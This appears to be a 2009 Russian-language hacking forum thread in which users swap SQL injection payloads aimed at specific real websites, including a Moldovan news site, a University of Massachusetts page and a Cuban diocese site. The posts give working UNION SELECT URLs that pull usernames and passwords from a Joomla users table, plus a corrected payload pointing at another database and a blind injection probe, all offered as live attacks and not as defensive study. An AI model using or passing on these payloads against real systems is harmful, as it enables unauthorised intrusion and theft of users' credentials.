20.02.2009, 03:04
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами:
10081287
Репутация:
568
|
|
jokester
как всегда оставил тройки))
-mOrGan-
незаметил)
|
|
|
20.02.2009, 03:12
|
|
Познающий
Регистрация: 18.03.2006
Сообщений: 47
С нами:
10605234
Репутация:
9
|
|
Привет,
Есть адрес :
http://magicweb.md/news.php?id=-28+union+select+1,2,3,4,5,6,7/*
DataBase() : usr_mweb2_4
Version() : 5.0.32-Debian_7etch8-log
User() : mweb2@localhost
Tables ### jos_users ,user
Columns ### ID , group_ID , login , pass , name , email ,lastvisit , ---(это от таблицы user) |
id , name , username , email , password , usertype --- (от таблицы jos_users )
Вопрос :
Я когда пытаюсь писать например :
magicweb.md/news.php?id=-28+union+select+1,2,3,concat(username,0x3A,passwor d)+from+jos_users/*
То выскакивает ошибка. Я пытался обходить типа unhex(hex(username)) ,ili convert(username+using+latin1) ... но у меня не выходит вывести данные с таблицы . Подскажите пожалуйста что делать .
|
|
|
|
20.02.2009, 03:19
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами:
10081287
Репутация:
568
|
|
Stalingrad
http://magicweb.md/news.php?id=-28+union+select+1,2,3,concat_ws(0x3a,username,pass word),5,6,7+from+usr_mweb2_1.jos_users/*
таблица в другой базе
Последний раз редактировалось sabe; 20.02.2009 в 03:24..
|
|
|
|
20.02.2009, 03:31
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами:
9288132
Репутация:
571
|
|
2sabe,
Код:
http://www.umass.edu/research/rld/bioportal/viewfac.php?fid=-79'+union+select+1,2,3,4,5,6,version(),8,9,0,11,12,13,14,15,16,17,18--+
|
|
|
|
20.02.2009, 03:54
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами:
9642449
Репутация:
606
|
|
почему так?
http://www.diocesispinardelrio.net/active/verunanoticia.php?ID=46+order+by+4--
однако , http://www.diocesispinardelrio.net/active/verunanoticia.php?ID=46+union+select+1,2,3,4-- не работает... ?
|
|
|
|
20.02.2009, 04:02
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами:
9270510
Репутация:
519
|
|
вроде как инъект без вывода...
http://www.diocesispinardelrio.net/active/verunanoticia.php?ID=46+and+substring(version(),1, 1)=4--
есть таблица user.
Последний раз редактировалось -m0rgan-; 20.02.2009 в 04:25..
|
|
|
|
20.02.2009, 05:23
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами:
9270510
Репутация:
519
|
|
Точно сказать не могу...кодировать не пробовал?
|
|
|
|
20.02.2009, 07:20
|
|
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами:
10081287
Репутация:
568
|
|
как?)
|
|
|
|
20.02.2009, 09:05
|
|
Постоянный
Регистрация: 29.09.2008
Сообщений: 553
С нами:
9270510
Репутация:
519
|
|
ну hex на пример...
|
|
|
|
20.02.2009, 11:35
|
|
Новичок
Регистрация: 19.02.2009
Сообщений: 25
С нами:
9064855
Репутация:
10
|
|
всем привет )
подскажите когда я проверяю скрип на -> ' но там все нормально , но когда я подставляю большое число пишет что запись с таким номером отсутствует ошибки скуля нет вот примет id=234 нормально а подставиш id=2349999 пишет что не существует. Говорит ли это что есть уязвимость?
Я вчера впервые провел пхп иньекцию прикольно))))
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
